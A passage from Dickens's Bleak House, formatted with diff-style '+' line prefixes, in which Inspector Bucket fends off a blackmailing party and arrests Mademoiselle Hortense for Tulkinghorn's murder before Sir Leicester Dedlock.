+long ago suspected Lady Dedlock of having discovered, through the
+sight of some handwriting--in this very house, and when you yourself,
+Sir Leicester Dedlock, were present--the existence, in great poverty,
+of a certain person who had been her lover before you courted her and
+who ought to have been her husband." Mr. Bucket stops and
+deliberately repeats, "Ought to have been her husband, not a doubt
+about it. I know from his lips that when that person soon afterwards
+died, he suspected Lady Dedlock of visiting his wretched lodging and
+his wretched grave, alone and in secret. I know from my own inquiries
+and through my eyes and ears that Lady Dedlock did make such visit in
+the dress of her own maid, for the deceased Mr. Tulkinghorn employed
+me to reckon up her ladyship--if you'll excuse my making use of the
+term we commonly employ--and I reckoned her up, so far, completely. I
+confronted the maid in the chambers in Lincoln's Inn Fields with a
+witness who had been Lady Dedlock's guide, and there couldn't be the
+shadow of a doubt that she had worn the young woman's dress, unknown
+to her. Sir Leicester Dedlock, Baronet, I did endeavour to pave the
+way a little towards these unpleasant disclosures yesterday by saying
+that very strange things happened even in high families sometimes.
+All this, and more, has happened in your own family, and to and
+through your own Lady. It's my belief that the deceased Mr.
+Tulkinghorn followed up these inquiries to the hour of his death and
+that he and Lady Dedlock even had bad blood between them upon the
+matter that very night. Now, only you put that to Lady Dedlock, Sir
+Leicester Dedlock, Baronet, and ask her ladyship whether, even after
+he had left here, she didn't go down to his chambers with the
+intention of saying something further to him, dressed in a loose
+black mantle with a deep fringe to it."
+
+Sir Leicester sits like a statue, gazing at the cruel finger that is
+probing the life-blood of his heart.
+
+"You put that to her ladyship, Sir Leicester Dedlock, Baronet, from
+me, Inspector Bucket of the Detective. And if her ladyship makes any
+difficulty about admitting of it, you tell her that it's no use, that
+Inspector Bucket knows it and knows that she passed the soldier as
+you called him (though he's not in the army now) and knows that she
+knows she passed him on the staircase. Now, Sir Leicester Dedlock,
+Baronet, why do I relate all this?"
+
+Sir Leicester, who has covered his face with his hands, uttering a
+single groan, requests him to pause for a moment. By and by he takes
+his hands away, and so preserves his dignity and outward calmness,
+though there is no more colour in his face than in his white hair,
+that Mr. Bucket is a little awed by him. Something frozen and fixed
+is upon his manner, over and above its usual shell of haughtiness,
+and Mr. Bucket soon detects an unusual slowness in his speech, with
+now and then a curious trouble in beginning, which occasions him to
+utter inarticulate sounds. With such sounds he now breaks silence,
+soon, however, controlling himself to say that he does not comprehend
+why a gentleman so faithful and zealous as the late Mr. Tulkinghorn
+should have communicated to him nothing of this painful, this
+distressing, this unlooked-for, this overwhelming, this incredible
+intelligence.
+
+"Again, Sir Leicester Dedlock, Baronet," returns Mr. Bucket, "put it
+to her ladyship to clear that up. Put it to her ladyship, if you
+think it right, from Inspector Bucket of the Detective. You'll find,
+or I'm much mistaken, that the deceased Mr. Tulkinghorn had the
+intention of communicating the whole to you as soon as he considered
+it ripe, and further, that he had given her ladyship so to
+understand. Why, he might have been going to reveal it the very
+morning when I examined the body! You don't know what I'm going to
+say and do five minutes from this present time, Sir Leicester
+Dedlock, Baronet; and supposing I was to be picked off now, you might
+wonder why I hadn't done it, don't you see?"
+
+True. Sir Leicester, avoiding, with some trouble those obtrusive
+sounds, says, "True." At this juncture a considerable noise of voices
+is heard in the hall. Mr. Bucket, after listening, goes to the
+library-door, softly unlocks and opens it, and listens again. Then he
+draws in his head and whispers hurriedly but composedly, "Sir
+Leicester Dedlock, Baronet, this unfortunate family affair has taken
+air, as I expected it might, the deceased Mr. Tulkinghorn being cut
+down so sudden. The chance to hush it is to let in these people now
+in a wrangle with your footmen. Would you mind sitting quiet--on the
+family account--while I reckon 'em up? And would you just throw in a
+nod when I seem to ask you for it?"
+
+Sir Leicester indistinctly answers, "Officer. The best you can, the
+best you can!" and Mr. Bucket, with a nod and a sagacious crook of
+the forefinger, slips down into the hall, where the voices quickly
+die away. He is not long in returning; a few paces ahead of Mercury
+and a brother deity also powdered and in peach-blossomed smalls, who
+bear between them a chair in which is an incapable old man. Another
+man and two women come behind. Directing the pitching of the chair in
+an affable and easy manner, Mr. Bucket dismisses the Mercuries and
+locks the door again. Sir Leicester looks on at this invasion of the
+sacred precincts with an icy stare.
+
+"Now, perhaps you may know me, ladies and gentlemen," says Mr. Bucket
+in a confidential voice. "I am Inspector Bucket of the Detective, I
+am; and this," producing the tip of his convenient little staff from
+his breast-pocket, "is my authority. Now, you wanted to see Sir
+Leicester Dedlock, Baronet. Well! You do see him, and mind you, it
+ain't every one as is admitted to that honour. Your name, old
+gentleman, is Smallweed; that's what your name is; I know it well."
+
+"Well, and you never heard any harm of it!" cries Mr. Smallweed in a
+shrill loud voice.
+
+"You don't happen to know why they killed the pig, do you?" retorts
+Mr. Bucket with a steadfast look, but without loss of temper.
+
+"No!"
+
+"Why, they killed him," says Mr. Bucket, "on account of his having so
+much cheek. Don't YOU get into the same position, because it isn't
+worthy of you. You ain't in the habit of conversing with a deaf
+person, are you?"
+
+"Yes," snarls Mr. Smallweed, "my wife's deaf."
+
+"That accounts for your pitching your voice so high. But as she ain't
+here; just pitch it an octave or two lower, will you, and I'll not
+only be obliged to you, but it'll do you more credit," says Mr.
+Bucket. "This other gentleman is in the preaching line, I think?"
+
+"Name of Chadband," Mr. Smallweed puts in, speaking henceforth in a
+much lower key.
+
+"Once had a friend and brother serjeant of the same name," says Mr.
+Bucket, offering his hand, "and consequently feel a liking for it.
+Mrs. Chadband, no doubt?"
+
+"And Mrs. Snagsby," Mr. Smallweed introduces.
+
+"Husband a law-stationer and a friend of my own," says Mr. Bucket.
+"Love him like a brother! Now, what's up?"
+
+"Do you mean what business have we come upon?" Mr. Smallweed asks, a
+little dashed by the suddenness of this turn.
+
+"Ah! You know what I mean. Let us hear what it's all about in
+presence of Sir Leicester Dedlock, Baronet. Come."
+
+Mr. Smallweed, beckoning Mr. Chadband, takes a moment's counsel with
+him in a whisper. Mr. Chadband, expressing a considerable amount of
+oil from the pores of his forehead and the palms of his hands, says
+aloud, "Yes. You first!" and retires to his former place.
+
+"I was the client and friend of Mr. Tulkinghorn," pipes Grandfather
+Smallweed then; "I did business with him. I was useful to him, and he
+was useful to me. Krook, dead and gone, was my brother-in-law. He was
+own brother to a brimstone magpie--leastways Mrs. Smallweed. I come
+into Krook's property. I examined all his papers and all his effects.
+They was all dug out under my eyes. There was a bundle of letters
+belonging to a dead and gone lodger as was hid away at the back of a
+shelf in the side of Lady Jane's bed--his cat's bed. He hid all
+manner of things away, everywheres. Mr. Tulkinghorn wanted 'em and
+got 'em, but I looked 'em over first. I'm a man of business, and I
+took a squint at 'em. They was letters from the lodger's sweetheart,
+and she signed Honoria. Dear me, that's not a common name, Honoria,
+is it? There's no lady in this house that signs Honoria is there? Oh,
+no, I don't think so! Oh, no, I don't think so! And not in the same
+hand, perhaps? Oh, no, I don't think so!"
+
+Here Mr. Smallweed, seized with a fit of coughing in the midst of his
+triumph, breaks off to ejaculate, "Oh, dear me! Oh, Lord! I'm shaken
+all to pieces!"
+
+"Now, when you're ready," says Mr. Bucket after awaiting his
+recovery, "to come to anything that concerns Sir Leicester Dedlock,
+Baronet, here the gentleman sits, you know."
+
+"Haven't I come to it, Mr. Bucket?" cries Grandfather Smallweed.
+"Isn't the gentleman concerned yet? Not with Captain Hawdon, and his
+ever affectionate Honoria, and their child into the bargain? Come,
+then, I want to know where those letters are. That concerns me, if it
+don't concern Sir Leicester Dedlock. I will know where they are. I
+won't have 'em disappear so quietly. I handed 'em over to my friend
+and solicitor, Mr. Tulkinghorn, not to anybody else."
+
+"Why, he paid you for them, you know, and handsome too," says Mr.
+Bucket.
+
+"I don't care for that. I want to know who's got 'em. And I tell you
+what we want--what we all here want, Mr. Bucket. We want more
+painstaking and search-making into this murder. We know where the
+interest and the motive was, and you have not done enough. If George
+the vagabond dragoon had any hand in it, he was only an accomplice,
+and was set on. You know what I mean as well as any man."
+
+"Now I tell you what," says Mr. Bucket, instantaneously altering his
+manner, coming close to him, and communicating an extraordinary
+fascination to the forefinger, "I am damned if I am a-going to have
+my case spoilt, or interfered with, or anticipated by so much as half
+a second of time by any human being in creation. YOU want more
+painstaking and search-making! YOU do? Do you see this hand, and do
+you think that I don't know the right time to stretch it out and put
+it on the arm that fired that shot?"
+
+Such is the dread power of the man, and so terribly evident it is
+that he makes no idle boast, that Mr. Smallweed begins to apologize.
+Mr. Bucket, dismissing his sudden anger, checks him.
+
+"The advice I give you is, don't you trouble your head about the
+murder. That's my affair. You keep half an eye on the newspapers, and
+I shouldn't wonder if you was to read something about it before long,
+if you look sharp. I know my business, and that's all I've got to say
+to you on that subject. Now about those letters. You want to know
+who's got 'em. I don't mind telling you. I have got 'em. Is that the
+packet?"
+
+Mr. Smallweed looks, with greedy eyes, at the little bundle Mr.
+Bucket produces from a mysterious part of his coat, and identifies it
+as the same.
+
+"What have you got to say next?" asks Mr. Bucket. "Now, don't open
+your mouth too wide, because you don't look handsome when you do it."
+
+"I want five hundred pound."
+
+"No, you don't; you mean fifty," says Mr. Bucket humorously.
+
+It appears, however, that Mr. Smallweed means five hundred.
+
+"That is, I am deputed by Sir Leicester Dedlock, Baronet, to consider
+(without admitting or promising anything) this bit of business," says
+Mr. Bucket--Sir Leicester mechanically bows his head--"and you ask me
+to consider a proposal of five hundred pounds. Why, it's an
+unreasonable proposal! Two fifty would be bad enough, but better than
+that. Hadn't you better say two fifty?"
+
+Mr. Smallweed is quite clear that he had better not.
+
+"Then," says Mr. Bucket, "let's hear Mr. Chadband. Lord! Many a time
+I've heard my old fellow-serjeant of that name; and a moderate man he
+was in all respects, as ever I come across!"
+
+Thus invited, Mr. Chadband steps forth, and after a little sleek
+smiling and a little oil-grinding with the palms of his hands,
+delivers himself as follows, "My friends, we are now--Rachael, my
+wife, and I--in the mansions of the rich and great. Why are we now in
+the mansions of the rich and great, my friends? Is it because we are
+invited? Because we are bidden to feast with them, because we are
+bidden to rejoice with them, because we are bidden to play the lute
+with them, because we are bidden to dance with them? No. Then why are
+we here, my friends? Air we in possession of a sinful secret, and do
+we require corn, and wine, and oil, or what is much the same thing,
+money, for the keeping thereof? Probably so, my friends."
+
+"You're a man of business, you are," returns Mr. Bucket, very
+attentive, "and consequently you're going on to mention what the
+nature of your secret is. You are right. You couldn't do better."
+
+"Let us then, my brother, in a spirit of love," says Mr. Chadband
+with a cunning eye, "proceed unto it. Rachael, my wife, advance!"
+
+Mrs. Chadband, more than ready, so advances as to jostle her husband
+into the background and confronts Mr. Bucket with a hard, frowning
+smile.
+
+"Since you want to know what we know," says she, "I'll tell you. I
+helped to bring up Miss Hawdon, her ladyship's daughter. I was in the
+service of her ladyship's sister, who was very sensitive to the
+disgrace her ladyship brought upon her, and gave out, even to her
+ladyship, that the child was dead--she WAS very nearly so--when she
+was born. But she's alive, and I know her." With these words, and a
+laugh, and laying a bitter stress on the word "ladyship," Mrs.
+Chadband folds her arms and looks implacably at Mr. Bucket.
+
+"I suppose now," returns that officer, "YOU will be expecting a
+twenty-pound note or a present of about that figure?"
+
+Mrs. Chadband merely laughs and contemptuously tells him he can
+"offer" twenty pence.
+
+"My friend the law-stationer's good lady, over there," says Mr.
+Bucket, luring Mrs. Snagsby forward with the finger. "What may YOUR
+game be, ma'am?"
+
+Mrs. Snagsby is at first prevented, by tears and lamentations, from
+stating the nature of her game, but by degrees it confusedly comes to
+light that she is a woman overwhelmed with injuries and wrongs, whom
+Mr. Snagsby has habitually deceived, abandoned, and sought to keep in
+darkness, and whose chief comfort, under her afflictions, has been
+the sympathy of the late Mr. Tulkinghorn, who showed so much
+commiseration for her on one occasion of his calling in Cook's Court
+in the absence of her perjured husband that she has of late
+habitually carried to him all her woes. Everybody it appears, the
+present company excepted, has plotted against Mrs. Snagsby's peace.
+There is Mr. Guppy, clerk to Kenge and Carboy, who was at first as
+open as the sun at noon, but who suddenly shut up as close as
+midnight, under the influence--no doubt--of Mr. Snagsby's suborning
+and tampering. There is Mr. Weevle, friend of Mr. Guppy, who lived
+mysteriously up a court, owing to the like coherent causes. There was
+Krook, deceased; there was Nimrod, deceased; and there was Jo,
+deceased; and they were "all in it." In what, Mrs. Snagsby does not
+with particularity express, but she knows that Jo was Mr. Snagsby's
+son, "as well as if a trumpet had spoken it," and she followed Mr.
+Snagsby when he went on his last visit to the boy, and if he was not
+his son why did he go? The one occupation of her life has been, for
+some time back, to follow Mr. Snagsby to and fro, and up and down,
+and to piece suspicious circumstances together--and every
+circumstance that has happened has been most suspicious; and in this
+way she has pursued her object of detecting and confounding her false
+husband, night and day. Thus did it come to pass that she brought the
+Chadbands and Mr. Tulkinghorn together, and conferred with Mr.
+Tulkinghorn on the change in Mr. Guppy, and helped to turn up the
+circumstances in which the present company are interested, casually,
+by the wayside, being still and ever on the great high road that is
+to terminate in Mr. Snagsby's full exposure and a matrimonial
+separation. All this, Mrs. Snagsby, as an injured woman, and the
+friend of Mrs. Chadband, and the follower of Mr. Chadband, and the
+mourner of the late Mr. Tulkinghorn, is here to certify under the
+seal of confidence, with every possible confusion and involvement
+possible and impossible, having no pecuniary motive whatever, no
+scheme or project but the one mentioned, and bringing here, and
+taking everywhere, her own dense atmosphere of dust, arising from the
+ceaseless working of her mill of jealousy.
+
+While this exordium is in hand--and it takes some time--Mr. Bucket,
+who has seen through the transparency of Mrs. Snagsby's vinegar at a
+glance, confers with his familiar demon and bestows his shrewd
+attention on the Chadbands and Mr. Smallweed. Sir Leicester Dedlock
+remains immovable, with the same icy surface upon him, except that he
+once or twice looks towards Mr. Bucket, as relying on that officer
+alone of all mankind.
+
+"Very good," says Mr. Bucket. "Now I understand you, you know, and
+being deputed by Sir Leicester Dedlock, Baronet, to look into this
+little matter," again Sir Leicester mechanically bows in confirmation
+of the statement, "can give it my fair and full attention. Now I
+won't allude to conspiring to extort money or anything of that sort,
+because we are men and women of the world here, and our object is to
+make things pleasant. But I tell you what I DO wonder at; I am
+surprised that you should think of making a noise below in the hall.
+It was so opposed to your interests. That's what I look at."
+
+"We wanted to get in," pleads Mr. Smallweed.
+
+"Why, of course you wanted to get in," Mr. Bucket asserts with
+cheerfulness; "but for a old gentleman at your time of life--what I
+call truly venerable, mind you!--with his wits sharpened, as I have
+no doubt they are, by the loss of the use of his limbs, which
+occasions all his animation to mount up into his head, not to
+consider that if he don't keep such a business as the present as
+close as possible it can't be worth a mag to him, is so curious! You
+see your temper got the better of you; that's where you lost ground,"
+says Mr. Bucket in an argumentative and friendly way.
+
+"I only said I wouldn't go without one of the servants came up to Sir
+Leicester Dedlock," returns Mr. Smallweed.
+
+"That's it! That's where your temper got the better of you. Now, you
+keep it under another time and you'll make money by it. Shall I ring
+for them to carry you down?"
+
+"When are we to hear more of this?" Mrs. Chadband sternly demands.
+
+"Bless your heart for a true woman! Always curious, your delightful
+sex is!" replies Mr. Bucket with gallantry. "I shall have the
+pleasure of giving you a call to-morrow or next day--not forgetting
+Mr. Smallweed and his proposal of two fifty."
+
+"Five hundred!" exclaims Mr. Smallweed.
+
+"All right! Nominally five hundred." Mr. Bucket has his hand on the
+bell-rope. "SHALL I wish you good day for the present on the part of
+myself and the gentleman of the house?" he asks in an insinuating
+tone.
+
+Nobody having the hardihood to object to his doing so, he does it,
+and the party retire as they came up. Mr. Bucket follows them to the
+door, and returning, says with an air of serious business, "Sir
+Leicester Dedlock, Baronet, it's for you to consider whether or not
+to buy this up. I should recommend, on the whole, it's being bought
+up myself; and I think it may be bought pretty cheap. You see, that
+little pickled cowcumber of a Mrs. Snagsby has been used by all sides
+of the speculation and has done a deal more harm in bringing odds and
+ends together than if she had meant it. Mr. Tulkinghorn, deceased, he
+held all these horses in his hand and could have drove 'em his own
+way, I haven't a doubt; but he was fetched off the box head-foremost,
+and now they have got their legs over the traces, and are all
+dragging and pulling their own ways. So it is, and such is life. The
+cat's away, and the mice they play; the frost breaks up, and the
+water runs. Now, with regard to the party to be apprehended."
+
+Sir Leicester seems to wake, though his eyes have been wide open, and
+he looks intently at Mr. Bucket as Mr. Bucket refers to his watch.
+
+"The party to be apprehended is now in this house," proceeds Mr.
+Bucket, putting up his watch with a steady hand and with rising
+spirits, "and I'm about to take her into custody in your presence.
+Sir Leicester Dedlock, Baronet, don't you say a word nor yet stir.
+There'll be no noise and no disturbance at all. I'll come back in the
+course of the evening, if agreeable to you, and endeavour to meet
+your wishes respecting this unfortunate family matter and the
+nobbiest way of keeping it quiet. Now, Sir Leicester Dedlock,
+Baronet, don't you be nervous on account of the apprehension at
+present coming off. You shall see the whole case clear, from first to
+last."
+
+Mr. Bucket rings, goes to the door, briefly whispers Mercury, shuts
+the door, and stands behind it with his arms folded. After a suspense
+of a minute or two the door slowly opens and a Frenchwoman enters.
+Mademoiselle Hortense.
+
+The moment she is in the room Mr. Bucket claps the door to and puts
+his back against it. The suddenness of the noise occasions her to
+turn, and then for the first time she sees Sir Leicester Dedlock in
+his chair.
+
+"I ask you pardon," she mutters hurriedly. "They tell me there was no
+one here."
+
+Her step towards the door brings her front to front with Mr. Bucket.
+Suddenly a spasm shoots across her face and she turns deadly pale.
+
+"This is my lodger, Sir Leicester Dedlock," says Mr. Bucket, nodding
+at her. "This foreign young woman has been my lodger for some weeks
+back."
+
+"What do Sir Leicester care for that, you think, my angel?" returns
+mademoiselle in a jocular strain.
+
+"Why, my angel," returns Mr. Bucket, "we shall see."
+
+Mademoiselle Hortense eyes him with a scowl upon her tight face,
+which gradually changes into a smile of scorn, "You are very
+mysterieuse. Are you drunk?"
+
+"Tolerable sober, my angel," returns Mr. Bucket.
+
+"I come from arriving at this so detestable house with your wife.
+Your wife have left me since some minutes. They tell me downstairs
+that your wife is here. I come here, and your wife is not here. What
+is the intention of this fool's play, say then?" mademoiselle
+demands, with her arms composedly crossed, but with something in her
+dark cheek beating like a clock.
+
+Mr. Bucket merely shakes the finger at her.
+
+"Ah, my God, you are an unhappy idiot!" cries mademoiselle with a
+toss of her head and a laugh. "Leave me to pass downstairs, great
+pig." With a stamp of her foot and a menace.
+
+"Now, mademoiselle," says Mr. Bucket in a cool determined way, "you
+go and sit down upon that sofy."
+
+"I will not sit down upon nothing," she replies with a shower of
+nods.
+
+"Now, mademoiselle," repeats Mr. Bucket, making no demonstration
+except with the finger, "you sit down upon that sofy."
+
+"Why?"
+
+"Because I take you into custody on a charge of murder, and you don't
+need to be told it. Now, I want to be polite to one of your sex and a
+foreigner if I can. If I can't, I must be rough, and there's rougher
+ones outside. What I am to be depends on you. So I recommend you, as
+a friend, afore another half a blessed moment has passed over your
+head, to go and sit down upon that sofy."
+
+Mademoiselle complies, saying in a concentrated voice while that
+something in her cheek beats fast and hard, "You are a devil."
+
+"Now, you see," Mr. Bucket proceeds approvingly, "you're comfortable
+and conducting yourself as I should expect a foreign young woman of
+your sense to do. So I'll give you a piece of advice, and it's this,
+don't you talk too much. You're not expected to say anything here,
+and you can't keep too quiet a tongue in your head. In short, the
+less you PARLAY, the better, you know." Mr. Bucket is very complacent
+over this French explanation.
+
+Mademoiselle, with that tigerish expansion of the mouth and her black
+eyes darting fire upon him, sits upright on the sofa in a rigid
+state, with her hands clenched--and her feet too, one might
+suppose--muttering, "Oh, you Bucket, you are a devil!"
+
+"Now, Sir Leicester Dedlock, Baronet," says Mr. Bucket, and from this
+time forth the finger never rests, "this young woman, my lodger, was
+her ladyship's maid at the time I have mentioned to you; and this
+young woman, besides being extraordinary vehement and passionate
+against her ladyship after being discharged--"
+
+"Lie!" cries mademoiselle. "I discharge myself."
+
+"Now, why don't you take my advice?" returns Mr. Bucket in an
+impressive, almost in an imploring, tone. "I'm surprised at the
+indiscreetness you commit. You'll say something that'll be used
+against you, you know. You're sure to come to it. Never you mind what
+I say till it's given in evidence. It is not addressed to you."
+
+"Discharge, too," cries mademoiselle furiously, "by her ladyship! Eh,
+my faith, a pretty ladyship! Why, I r-r-r-ruin my character by
+remaining with a ladyship so infame!"
+
+"Upon my soul I wonder at you!" Mr. Bucket remonstrates. "I thought
+the French were a polite nation, I did, really. Yet to hear a female
+going on like that before Sir Leicester Dedlock, Baronet!"
+
+"He is a poor abused!" cries mademoiselle. "I spit upon his house,
+upon his name, upon his imbecility," all of which she makes the
+carpet represent. "Oh, that he is a great man! Oh, yes, superb! Oh,
+heaven! Bah!"
+
+"Well, Sir Leicester Dedlock," proceeds Mr. Bucket, "this intemperate
+foreigner also angrily took it into her head that she had established
+a claim upon Mr. Tulkinghorn, deceased, by attending on the occasion
+I told you of at his chambers, though she was liberally paid for her
+time and trouble."
+
+"Lie!" cries mademoiselle. "I ref-use his money all togezzer."
+
+"If you WILL PARLAY, you know," says Mr. Bucket parenthetically, "you
+must take the consequences. Now, whether she became my lodger, Sir
+Leicester Dedlock, with any deliberate intention then of doing this
+deed and blinding me, I give no opinion on; but she lived in my house
+in that capacity at the time that she was hovering about the chambers
+of the deceased Mr. Tulkinghorn with a view to a wrangle, and
+likewise persecuting and half frightening the life out of an
+unfortunate stationer."
+
+"Lie!" cries mademoiselle. "All lie!"
+
+"The murder was committed, Sir Leicester Dedlock, Baronet, and you
+know under what circumstances. Now, I beg of you to follow me close
+with your attention for a minute or two. I was sent for, and the case
+was entrusted to me. I examined the place, and the body, and the
+papers, and everything. From information I received (from a clerk in
+the same house) I took George into custody as having been seen
+hanging about there on the night, and at very nigh the time of the
+murder, also as having been overheard in high words with the deceased
+on former occasions--even threatening him, as the witness made out.
+If you ask me, Sir Leicester Dedlock, whether from the first I
+believed George to be the murderer, I tell you candidly no, but he
+might be, notwithstanding, and there was enough against him to make
+it my duty to take him and get him kept under remand. Now, observe!"
+
+As Mr. Bucket bends forward in some excitement--for him--and
+inaugurates what he is going to say with one ghostly beat of his
+forefinger in the air, Mademoiselle Hortense fixes her black eyes
+upon him with a dark frown and sets her dry lips closely and firmly
+together.
+
+"I went home, Sir Leicester Dedlock, Baronet, at night and found this
+young woman having supper with my wife, Mrs. Bucket. She had made a
+mighty show of being fond of Mrs. Bucket from her first offering
+herself as our lodger, but that night she made more than ever--in
+fact, overdid it. Likewise she overdid her respect, and all that, for
+the lamented memory of the deceased Mr. Tulkinghorn. By the living
+Lord it flashed upon me, as I sat opposite to her at the table and
+saw her with a knife in her hand, that she had done it!"
+
+Mademoiselle is hardly audible in straining through her teeth and
+lips the words, "You are a devil."
+
+"Now where," pursues Mr. Bucket, "had she been on the night of the
+murder? She had been to the theayter. (She really was there, I have
+since found, both before the deed and after it.) I knew I had an
+artful customer to deal with and that proof would be very difficult;
+and I laid a trap for her--such a trap as I never laid yet, and such
+a venture as I never made yet. I worked it out in my mind while I was
+talking to her at supper. When I went upstairs to bed, our house
+being small and this young woman's ears sharp, I stuffed the sheet
+into Mrs. Bucket's mouth that she shouldn't say a word of surprise
+and told her all about it. My dear, don't you give your mind to that
+again, or I shall link your feet together at the ankles." Mr. Bucket,
+breaking off, has made a noiseless descent upon mademoiselle and laid
+his heavy hand upon her shoulder.
+
+"What is the matter with you now?" she asks him.
+
+"Don't you think any more," returns Mr. Bucket with admonitory
+finger, "of throwing yourself out of window. That's what's the matter
+with me. Come! Just take my arm. You needn't get up; I'll sit down by
+you. Now take my arm, will you? I'm a married man, you know; you're
+acquainted with my wife. Just take my arm."
+
+Vainly endeavouring to moisten those dry lips, with a painful sound
+she struggles with herself and complies.
+
+"Now we're all right again. Sir Leicester Dedlock, Baronet, this case
+could never have been the case it is but for Mrs. Bucket, who is a
+woman in fifty thousand--in a hundred and fifty thousand! To throw
+this young woman off her guard, I have never set foot in our house
+since, though I've communicated with Mrs. Bucket in the baker's
+loaves and in the milk as often as required. My whispered words to
+Mrs. Bucket when she had the sheet in her mouth were, 'My dear, can
+you throw her off continually with natural accounts of my suspicions
+against George, and this, and that, and t'other? Can you do without
+rest and keep watch upon her night and day? Can you undertake to say,
+'She shall do nothing without my knowledge, she shall be my prisoner
+without suspecting it, she shall no more escape from me than from
+death, and her life shall be my life, and her soul my soul, till I
+have got her, if she did this murder?' Mrs. Bucket says to me, as
+well as she could speak on account of the sheet, 'Bucket, I can!' And
+she has acted up to it glorious!"
+
+"Lies!" mademoiselle interposes. "All lies, my friend!"
+
+"Sir Leicester Dedlock, Baronet, how did my calculations come out
+under these circumstances? When I calculated that this impetuous
+young woman would overdo it in new directions, was I wrong or right?
+I was right. What does she try to do? Don't let it give you a turn?
+To throw the murder on her ladyship."
+
+Sir Leicester rises from his chair and staggers down again.
+
+"And she got encouragement in it from hearing that I was always here,
+which was done a-purpose. Now, open that pocket-book of mine, Sir
+Leicester Dedlock, if I may take the liberty of throwing it towards
+you, and look at the letters sent to me, each with the two words
+'Lady Dedlock' in it. Open the one directed to yourself, which I
+stopped this very morning, and read the three words 'Lady Dedlock,
+Murderess' in it. These letters have been falling about like a shower
+of lady-birds. What do you say now to Mrs. Bucket, from her spy-place
+having seen them all 'written by this young woman? What do you say to
+Mrs. Bucket having, within this half-hour, secured the corresponding
+ink and paper, fellow half-sheets and what not? What do you say to
+Mrs. Bucket having watched the posting of 'em every one by this young
+woman, Sir Leicester Dedlock, Baronet?" Mr. Bucket asks, triumphant
+in his admiration of his lady's genius.
+
+Two things are especially observable as Mr. Bucket proceeds to a
+conclusion. First, that he seems imperceptibly to establish a
+dreadful right of property in mademoiselle. Secondly, that the very
+atmosphere she breathes seems to narrow and contract about her as if
+a close net or a pall were being drawn nearer and yet nearer around
+her breathless figure.
+
+"There is no doubt that her ladyship was on the spot at the eventful
+period," says Mr. Bucket, "and my foreign friend here saw her, I
+believe, from the upper part of the staircase. Her ladyship and
+George and my foreign friend were all pretty close on one another's
+heels. But that don't signify any more, so I'll not go into it. I
+found the wadding of the pistol with which the deceased Mr.
+Tulkinghorn was shot. It was a bit of the printed description of your
+house at Chesney Wold. Not much in that, you'll say, Sir Leicester
+Dedlock, Baronet. No. But when my foreign friend here is so
+thoroughly off her guard as to think it a safe time to tear up the
+rest of that leaf, and when Mrs. Bucket puts the pieces together and
+finds the wadding wanting, it begins to look like Queer Street."
+
+"These are very long lies," mademoiselle interposes. "You prose great
+deal. Is it that you have almost all finished, or are you speaking
+always?"
+
+"Sir Leicester Dedlock, Baronet," proceeds Mr. Bucket, who delights
+in a full title and does violence to himself when he dispenses with
+any fragment of it, "the last point in the case which I am now going
+to mention shows the necessity of patience in our business, and never
+doing a thing in a hurry. I watched this young woman yesterday
+without her knowledge when she was looking at the funeral, in company
+with my wife, who planned to take her there; and I had so much to
+convict her, and I saw such an expression in her face, and my mind so
+rose against her malice towards her ladyship, and the time was
+altogether such a time for bringing down what you may call
+retribution upon her, that if I had been a younger hand with less
+experience, I should have taken her, certain. Equally, last night,
+when her ladyship, as is so universally admired I am sure, come home
+looking--why, Lord, a man might almost say like Venus rising from the
+ocean--it was so unpleasant and inconsistent to think of her being
+charged with a murder of which she was innocent that I felt quite to
+want to put an end to the job. What should I have lost? Sir Leicester
+Dedlock, Baronet, I should have lost the weapon. My prisoner here
+proposed to Mrs. Bucket, after the departure of the funeral, that
+they should go per bus a little ways into the country and take tea at
+a very decent house of entertainment. Now, near that house of
+entertainment there's a piece of water. At tea, my prisoner got up to
+fetch her pocket handkercher from the bedroom where the bonnets was;
+she was rather a long time gone and came back a little out of wind.
+As soon as they came home this was reported to me by Mrs. Bucket,
+along with her observations and suspicions. I had the piece of water
+dragged by moonlight, in presence of a couple of our men, and the
+pocket pistol was brought up before it had been there half-a-dozen
+hours. Now, my dear, put your arm a little further through mine, and
+hold it steady, and I shan't hurt you!"
+
+In a trice Mr. Bucket snaps a handcuff on her wrist. "That's one,"
+says Mr. Bucket. "Now the other, darling. Two, and all told!"
+
+He rises; she rises too. "Where," she asks him, darkening her large
+eyes until their drooping lids almost conceal them--and yet they
+stare, "where is your false, your treacherous, and cursed wife?"
+
+"She's gone forrard to the Police Office," returns Mr. Bucket.
+"You'll see her there, my dear."
+
+"I would like to kiss her!" exclaims Mademoiselle Hortense, panting
+tigress-like.
+
+"You'd bite her, I suspect," says Mr. Bucket.
+
+"I would!" making her eyes very large. "I would love to tear her limb
+from limb."
+
+"Bless you, darling," says Mr. Bucket with the greatest composure,
+"I'm fully prepared to hear that. Your sex have such a surprising
+animosity against one another when you do differ. You don't mind me
+half so much, do you?"
+
+"No. Though you are a devil still."
+
+"Angel and devil by turns, eh?" cries Mr. Bucket. "But I am in my
+regular employment, you must consider. Let me put your shawl tidy.
+I've been lady's maid to a good many before now. Anything wanting to
+the bonnet? There's a cab at the door."
+
+Mademoiselle Hortense, casting an indignant eye at the glass, shakes
+herself perfectly neat in one shake and looks, to do her justice,
+uncommonly genteel.
+
+"Listen then, my angel," says she after several sarcastic nods. "You
+are very spiritual. But can you restore him back to life?"
+
+Mr. Bucket answers, "Not exactly."
+
+"That is droll. Listen yet one time. You are very spiritual. Can you
+make a honourable lady of her?"
+
+"Don't be so malicious," says Mr. Bucket.
+
+"Or a haughty gentleman of HIM?" cries mademoiselle, referring to Sir
+Leicester with ineffable disdain. "Eh! Oh, then regard him! The poor
+infant! Ha! Ha! Ha!"
+
+"Come, come, why this is worse PARLAYING than the other," says Mr.
+Bucket. "Come along!"
+
+"You cannot do these things? Then you can do as you please with me.
+It is but the death, it is all the same. Let us go, my angel. Adieu,
+you old man, grey. I pity you, and I despise you!"
+
+With these last words she snaps her teeth together as if her mouth
+closed with a spring. It is impossible to describe how Mr. Bucket
+gets her out, but he accomplishes that feat in a manner so peculiar
+to himself, enfolding and pervading her like a cloud, and hovering
+away with her as if he were a homely Jupiter and she the object of
+his affections.
+
+Sir Leicester, left alone, remains in the same attitude, as though he
+were still listening and his attention were still occupied. At length
+he gazes round the empty room, and finding it deserted, rises
+unsteadily to his feet, pushes back his chair, and walks a few steps,
+supporting himself by the table. Then he stops, and with more of
+those inarticulate sounds, lifts up his eyes and seems to stare at
+something.
+
+Heaven knows what he sees. The green, green woods of Chesney Wold,
+the noble house, the pictures of his forefathers, strangers defacing
+them, officers of police coarsely handling his most precious
